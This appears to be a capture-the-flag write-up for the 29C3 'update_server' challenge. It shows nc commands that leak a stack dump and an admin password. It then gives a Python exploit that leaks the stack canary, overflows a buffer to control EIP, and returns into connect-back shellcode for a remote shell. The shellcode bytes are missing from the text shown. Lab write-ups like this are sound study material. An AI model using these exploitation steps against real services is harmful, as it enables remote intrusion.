29C3 CTF – update_server

Points: 300
Never let your customers miss an important security update! Buy this update server and you even get admin rights! Running on 1024

Update server is a utility that can be used by programs to check whether a new update is available.
A program can send its current version number, and the utility will indicate if it is up to date or if an update is available.
It is also possible to update the version information, if a valid admin password is provided.

To run the program locally, you should update two files, and provide an admin password:

perl -e 'print "\x013.0"' > version;
perl -e 'print "\x01http://www.google.com"' > link;
./update_server <password>

We found that it is possible to get a stack dump by issuing the following command:

 % perl -e 'print "\xFF3.0" . "\xFF"x124' | nc -v 1024
Connection to localhost 1024 port [tcp/*] succeeded!
up to date

This is due to the fact that the string is not terminated by a null byte anymore.

Exploiting the program

Now that we have the admin password (1n53cUr3-pppAssW0rD), we are able to update the version information.

If we send 256 bytes for the link, the program crashes:

 % (sleep .5; perl -e 'print "\x7F" . "A"x127'; sleep .5; echo -en "1n53cUr3-pppAssW0rD\n"; sleep .5; perl -e 'print "A"x256 . "\n\n"') | nc -v localhost 1024
*** stack smashing detected ***: /home/user/update_server terminated
Program received signal SIGABRT, Aborted.
0xb7fdd424 in __kernel_vsyscall ()

This is because of stack protection, which checks a so called stack canary to verify the stack state.
If we overflow the buffer, the stack canary is modified and this prevents us from controlling EIP.

To work around this, we need to fetch the stack canary, and create a specially crafted buffer that sets the canary at the correct location. This will bypass the stack protection check and allows us to control EIP.
Then we can just return into shellcode, as the stack is executable. We fetch a pointer that points into our buffer to overwrite EIP with.

Without any further ado, here’s the exploit.

import socket
import time
import sys
from struct import pack, unpack

target = ('', 1024)
password = "1n53cUr3-pppAssW0rD"

# connect back shellcode (to
shellcode = (

s = socket.create_connection(target)

s.send("\x7F" + "A"*127)


data = s.recv(8192)
canary = data[0x00001aa:0x00001ae]
canary = unpack("I", canary)
addr = (canary[0] & 0xFFFFFF00)

ptr = data[0x00001c6:0x00001ca]
p = unpack("I", ptr)

s.send("B"*256 + pack("I", addr) + "A"*28 + pack("I", p[0]) + "\x90"*24 + shellcode)

This drops a shell at our listener, and we can fetch the flag:
cat flag.txt

Comments are closed.